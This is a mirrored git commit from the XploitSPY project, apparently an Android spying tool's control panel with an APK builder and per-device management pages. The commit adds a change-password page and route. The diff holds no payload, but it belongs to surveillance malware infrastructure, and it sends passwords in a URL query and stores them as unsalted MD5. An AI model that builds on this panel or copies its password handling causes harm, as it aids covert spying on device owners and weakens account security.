mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-24 21:52:01 +08:00
Added support to change password
This commit is contained in:
parent
19a592b029
commit
41bfb44d4d
87
assets/views/changePassword.ejs
Normal file
87
assets/views/changePassword.ejs
Normal file
@ -0,0 +1,87 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<html>
|
||||||
|
|
||||||
|
<% include partials/head.ejs %>
|
||||||
|
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="ui container">
|
||||||
|
<% include partials/header.ejs %>
|
||||||
|
<div class="ui segment">
|
||||||
|
|
||||||
|
<div id="dimmer" class="ui dimmer">
|
||||||
|
<div class="ui indeterminate text loader" id="loadingText">Changing Password</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h1 id="success" class="ui" style="text-align: center">Change Password</h1>
|
||||||
|
<div class="ui form" id="form">
|
||||||
|
<div class="inline fields">
|
||||||
|
<div class="six wide field">
|
||||||
|
<div class="ui labeled input">
|
||||||
|
<input type="text" id="cp" placeholder="Enter new password" title="">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="inline fields">
|
||||||
|
<div class="six wide field">
|
||||||
|
<div class="ui labeled input">
|
||||||
|
<button id="submit" class="positive ui fluid button"><i class="wrench icon"></i>Submit</button> </div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<style>
|
||||||
|
.inline.fields {
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
var loadingTexts = [
|
||||||
|
"Changing Password",
|
||||||
|
"Password Changed Successfully"
|
||||||
|
];
|
||||||
|
|
||||||
|
var loadingIndex = 0;
|
||||||
|
var isDone = false;
|
||||||
|
$('#submit').click((e) => {
|
||||||
|
$('#dimmer').addClass('active');
|
||||||
|
changepass($('#cp').val());
|
||||||
|
setTimeout(loaderText, 500);
|
||||||
|
});
|
||||||
|
|
||||||
|
function loaderText() {
|
||||||
|
var nextTimeout = Math.floor(Math.random() * 1500) + 700;
|
||||||
|
$('#loadingText').text(loadingTexts[loadingIndex]);
|
||||||
|
loadingIndex++;
|
||||||
|
if (loadingIndex !== loadingTexts.length) setTimeout(loaderText, nextTimeout);
|
||||||
|
else
|
||||||
|
while (isDone) {
|
||||||
|
isDone = false;
|
||||||
|
$('#dimmer').fadeOut(500, () => {
|
||||||
|
$('#success').removeClass('active');
|
||||||
|
})
|
||||||
|
$('#form').fadeOut(500, () => {
|
||||||
|
$('#success').fadeIn(200);
|
||||||
|
$('#success').text("Password updated successfully")
|
||||||
|
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function changepass(newpass) {
|
||||||
|
$.post("/changepass?pass=" + newpass, function(data) {
|
||||||
|
if (!data.error) {
|
||||||
|
isDone = true
|
||||||
|
} else showNotification('#f03434', data.error)
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<% include partials/footer.ejs %>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
@ -9,6 +9,10 @@
|
|||||||
<i class="icon wrench"></i> APK Builder
|
<i class="icon wrench"></i> APK Builder
|
||||||
</a>
|
</a>
|
||||||
|
|
||||||
|
<a href="/changepass" class="item">
|
||||||
|
<i class="icon wrench"></i> Change Password
|
||||||
|
</a>
|
||||||
|
|
||||||
<a href="/logs" class="item">
|
<a href="/logs" class="item">
|
||||||
<i class="icon terminal"></i> Event Log
|
<i class="icon terminal"></i> Event Log
|
||||||
</a>
|
</a>
|
||||||
|
@ -102,6 +102,16 @@ routes.post('/builder', isAllowed, (req, res) => {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
routes.post('/changepass', isAllowed, (req, res) => {
|
||||||
|
if(req.query.pass == undefined) res.json({"error":"Password empty"});
|
||||||
|
else
|
||||||
|
{
|
||||||
|
let password = crypto.createHash('md5').update(req.query.pass).digest("hex");
|
||||||
|
db.maindb.get('admin').assign({ password }).write();
|
||||||
|
res.send("200");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
routes.get('/logs', isAllowed, (req, res) => {
|
routes.get('/logs', isAllowed, (req, res) => {
|
||||||
res.render('logs', {
|
res.render('logs', {
|
||||||
@ -109,7 +119,9 @@ routes.get('/logs', isAllowed, (req, res) => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
routes.get('/changepass', isAllowed, (req, res) => {
|
||||||
|
res.render('changePassword');
|
||||||
|
});
|
||||||
|
|
||||||
routes.get('/manage/:deviceid/:page', isAllowed, (req, res) => {
|
routes.get('/manage/:deviceid/:page', isAllowed, (req, res) => {
|
||||||
let pageData = clientManager.getClientDataByPage(req.params.deviceid, req.params.page, req.query.filter);
|
let pageData = clientManager.getClientDataByPage(req.params.deviceid, req.params.page, req.query.filter);
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
{
|
{
|
||||||
"admin": {
|
"admin": {
|
||||||
"username": "admin",
|
"username": "admin",
|
||||||
"password": "5f4dcc3b5aa765d61d8327deb882cf99",
|
"password": "ffe553694f5096471590343432359e02",
|
||||||
"loginToken": "",
|
"loginToken": "",
|
||||||
"logs": [
|
"logs": [
|
||||||
{
|
{
|
||||||
|
Loading…
x
Reference in New Issue
Block a user